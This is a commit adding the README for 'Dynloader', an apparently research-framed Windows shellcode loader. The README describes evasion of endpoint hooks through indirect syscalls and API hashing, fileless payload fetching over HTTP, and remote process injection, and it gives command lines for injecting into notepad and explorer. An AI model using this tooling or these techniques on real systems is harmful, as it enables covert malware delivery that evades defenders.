commit 9af54e9d0f74c7f40c94864f5bb7938307f8f0bc Author: AbishekPonmudi Date: Thu Jul 9 09:51:26 2026 -0700 Initial Commit: Added README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..4858349 --- /dev/null +++ b/README.md @@ -0,0 +1,284 @@ +# Dynloader + +**Modular Windows shellcode loader — C++20** + +--- + +## Overview + +**Dynloader** is a research-oriented Windows loader for studying how shellcode is delivered, staged, and executed in both **local** and **remote** process contexts. + +It can: + +- Load shellcode from a local `.bin` file +- Fetch shellcode **filelessly** over HTTP (optional AES-256-CBC at runtime) +- Inject into a target by **PID** or **process name** +- Spawn a missing process **headless** (suspended + hidden), inject, then resume + +Core evasion and resolution primitives are provided by **[Dynveil](https://github.com/Abishekponmudi/dynveil)** (`lib/`) — a reusable library that implements PEB/PE parsing, API hashing, Tartarus Gate indirect syscalls, section mapping, AES crypto, and HTTP transport. Dynloader is the CLI + ingestion orchestration layer on top of Dynveil. + +--- + +## Disclaimer + +This project is **for educational and research purposes only**. + +It is designed to help understand: + +- Windows PE internals +- Manual loading techniques +- Reverse engineering concepts + +Do **not** use this software on systems you do not own or do not have explicit permission to test. The authors take no responsibility for misuse. + +--- + +## Features + +- **Manual PE mapping / parsing** — PEB + LDR walk and export (EAT) resolution without normal `GetProcAddress` name strings +- **Indirect syscalls via Tartarus Gate** — SSN extraction with **Hell’s Gate / Halo’s Gate / HellHell** style recovery when stubs look hooked; invoke via ntdll `syscall; ret` gadget +- **Section mapping** — `NtCreateSection` + `NtMapViewOfSection` / unmap as alternate staging path +- **Dynamic API resolution** — resolve modules and exports at runtime through Dynveil +- **API hashing** — djb2 hashes; no plaintext API names for resolved exports +- **AES-256-CBC** — encrypt offline; decrypt at runtime (file or fileless key fetch) +- **Local & remote ingestion** — self-process run or inject into another process +- **Fileless HTTP server/client** — serve and pull payload + optional key material + +--- + +## Evasion techniques + +| Technique | Feature | +|-----------|---------| +| **Manual PE Mapping** | Manual module + export resolution without `GetProcAddress` strings | +| **Indirect syscall via Tartarus Gate (Hell's, Halo's, HellHell)** | Indirect syscalls via ntdll `syscall; ret` gadget (bypasses usermode hooks on `Nt*` prologues). Halo’s Gate recovers SSNs when ntdll stubs are hooked | +| **API hashing** | Resolves exports by djb2 hash — no plaintext API names in the binary | +| **Section mapping** | `NtCreateSection` + `NtMapViewOfSection` as alternate staging backend | +| **Minimal IAT** | NT path via syscalls; Win32 only where needed (`CreateThread` / `CreateRemoteThread`, hashed) | +| **W^X staging** | `NtAllocateVirtualMemory` RW → write → `NtProtectVirtualMemory` RX (no RWX) | +| **Payload encryption AES-256-CBC** | Encrypted payload + dynamic key fetch (fileless) | +| **Fileless HTTP** | No payload file on disk at runtime — fetch from `/api/v1/payload` | +| **Headless spawn** | Target process started suspended + hidden before remote inject | + +--- + +## Background — Dynveil + +**[Dynveil](https://github.com/Abishekponmudi/dynveil)** is the shared research library under `lib/`. Dynloader does **not** reimplement every technique inline; it calls Dynveil modules for the heavy lifting. + +**Repo:** https://github.com/Abishekponmudi/dynveil + +What Dynveil provides: + +- **Manual PE parser** — walk PEB → LDR lists, locate modules, walk the export address table +- **Dynamic API resolver** — hash-based export resolve (`kernel32`, `ntdll`, `bcrypt`, `ws2_32`, …) +- **Tartarus Gate** — SSN resolve (Hell’s / Halo’s / HellHell-style paths), build per-API **stubs**, jump to a shared ntdll **`syscall; ret` gadget** +- **Section map helpers** — create section, map view, protect, unmap, cleanup +- **Crypto** — AES-256-CBC key material, encrypt/decrypt, pack/unpack key blobs +- **HTTP transport** — minimal fileless client + in-memory server for lab delivery + +Dynloader’s job on top of Dynveil: + +- Parse CLI modes (local, remote, fileless, server, encrypt) +- Acquire shellcode (disk or network) +- Decide **local vs remote** ingestion +- Stage memory (W^X / section) and execute +- For remote: resolve PID/name, open process, optional headless spawn, inject + +| Dynveil area | Path | Role | +|--------------|------|------| +| PE / PEB | `lib/pe/` | Manual PEB + LDR + EAT | +| API resolve | `lib/resolve/` | Dynamic hash-based APIs | +| Syscalls | `lib/syscall/` | Tartarus Gate indirect Nt\* | +| Memory | `lib/memory/` | Section map / staging helpers | +| Crypto | `lib/crypto/` | AES-256-CBC | +| Net | `lib/net/` | Fileless HTTP | +| Common | `lib/common/` | Hashes, logging, NT types | + +--- + +## How it works + +1. **Parse CLI** — mode: local / remote (`--process`) / fileless / server / encrypt / self-test. +2. **Init Dynveil syscalls** — Tartarus Gate builds SSNs + indirect stubs (shared ntdll gadget). +3. **Get shellcode** + - **Disk:** read `.bin` (or ciphertext if decrypt path applies) + - **Fileless:** `GET /api/v1/payload` and, if AES, `GET /api/v1/key` then decrypt at runtime +4. **Choose ingestion** + - **`--process` set → remote** + - **else → local** +5. **Local path** + - Stage in current process with indirect Nt\* (prefer alloc RW → write → protect RX; section map fallback) + - Execute with hash-resolved `CreateThread`, wait for exit +6. **Remote path** + - Target by **PID** or **process name** (works with many normal user-session binaries; no `SeDebugPrivilege` elevation assumed) + - Discover by name via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate + - If name not running → **headless spawn** (`CREATE_SUSPENDED` + no window), inject, **ResumeThread** + - Open process: prefer **`NtOpenProcess`**, fallback hashed **`OpenProcess`** + - Stage: `NtAllocateVirtualMemory` → `NtWriteVirtualMemory` → `NtProtectVirtualMemory` (RX) + - Run: hash-resolved **`CreateRemoteThread`** +7. **Done** — local thread completes or remote thread is created; handles cleaned up. + +Same staging/execution ideas apply whether bytes came from disk or from the fileless server. + +--- + +## Building + +> Build steps TBD (Visual Studio / MSVC x64 C++20). + +Reference pipeline after a successful build: + +1. Parse CLI (local / remote / fileless / server / encrypt) +2. Init Tartarus Gate (SSNs + indirect stubs) +3. Get shellcode + - disk file, or + - HTTP `GET /api/v1/payload` (+ `/api/v1/key` if AES) +4. If `--process` → remote ingestion (PID / name / headless spawn) + Else → local ingestion +5. Stage memory (indirect Nt\*, W^X) +6. Execute (`CreateThread` / `CreateRemoteThread`) + +--- + +## Usage + +```text +LOCAL + loader.exe [--verbose] + loader.exe --process [--verbose] + loader.exe --enc AES [--verbose] + +FILELESS + loader.exe --fileless --source [--verbose] + loader.exe --fileless --source --enc AES [--verbose] + loader.exe --fileless --source --process [--enc AES] [--verbose] + +SERVER + loader.exe --server [--port 8080] [--verbose] + loader.exe --server --enc AES [--port 8080] [--verbose] +``` + +### HTTP endpoints (server) + +| Path | Purpose | +|------|---------| +| `GET /api/v1/payload` | Shellcode (plain or ciphertext) | +| `GET /api/v1/key` | AES key material (when encrypted) | +| `GET /api/v1/health` | Health check | + +--- + +## Demo + +### 1) Self-test + +```bat +loader.exe --selftest --verbose +``` + +Checks PEB resolve, Tartarus init path, and AES roundtrip. + +### 2) Local shellcode + +```bat +loader.exe payload.bin --verbose +``` + +### 3) Remote by process name + +```bat +loader.exe --process notepad payload.bin --verbose +``` + +If `notepad` is not running, Dynloader spawns it headless, injects, resumes. + +- Target by **PID** or **process name** (e.g. `notepad` / `1234`) — supports many legitimate binaries in the same session without elevation (`!SeDebugPrivilege` not required for same-integrity targets) +- Process discovery via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate +- If the named process is **not running** → spawn **headless** (`CREATE_SUSPENDED` + no window), inject, then resume +- Remote stage: `NtAllocateVirtualMemory` → `NtWriteVirtualMemory` → `NtProtectVirtualMemory` (RX) +- Remote run: hash-resolved `CreateRemoteThread` +- Open target prefers `NtOpenProcess`, falls back to hashed `OpenProcess` + +### 4) Remote by PID + +```bat +loader.exe --process 4568 payload.bin --verbose +``` + +### 5) Encrypt + serve + fileless client + +**Terminal A — server** (host shellcode remotely): + +```bat +loader.exe --server --enc AES payload.bin --port 8080 --verbose +``` + +**Terminal B — client** (target machine, local run): + +```bat +loader.exe --fileless --source 127.0.0.1:8080 --enc AES --verbose +``` + +**Terminal B — client** (target machine, remote inject): + +```bat +loader.exe --fileless --source 127.0.0.1:8080 --enc AES --process explorer --verbose +``` + +### 6) Offline encrypt only + +```bat +loader.exe --enc AES payload.bin --verbose +``` + +Writes `.enc` + `.key` next to the input for lab packaging. + +--- + +## Planned features + +- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`) +- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs +- **Threadless execution** — move off classic thread APIs toward [thread pool](https://oioio-space.github.io/maldev/techniques/injection/thread-pool.html) based execution +- **Full section mapping** — prefer section-based staging over native thread-centric paths where possible +- **Section storming** — multi-section staging patterns for research labs +- **HTTPS encrypted channel** — harden fileless delivery from plain HTTP to HTTPS + +--- + +## Project layout + +```text +. +├── loader/ # Dynloader — CLI, modes, local/remote ingestion +│ ├── main.cpp +│ ├── cli.cpp / cli.hpp +│ ├── loader_core.cpp / loader_core.hpp +│ └── ingestion.cpp / ingestion.hpp +├── lib/ # Dynveil — https://github.com/Abishekponmudi/dynveil +│ ├── common/ # hashes, logging, NT types +│ ├── pe/ # PEB / PE / EAT parser +│ ├── resolve/ # dynamic API resolution +│ ├── syscall/ # Tartarus Gate indirect syscalls +│ ├── memory/ # section map + staging helpers +│ ├── crypto/ # AES-256-CBC +│ └── net/ # fileless HTTP client/server +├── tools/ # helpers (e.g. hash dump) +├── server.sh # optional server helper script +└── README.md +``` + +--- + +## Notes + +- Indirect syscalls cover Dynveil’s **Nt\*** table (memory, open, process enum, sections) — not every Win32 call. +- Local execute uses hashed `CreateThread`; remote uses hashed `CreateRemoteThread`. +- Fileless transport is plain HTTP today (lab-oriented); HTTPS is planned. + +--- + +## License / ethics + +Research & education only. Use on lab VMs you control. Stay legal.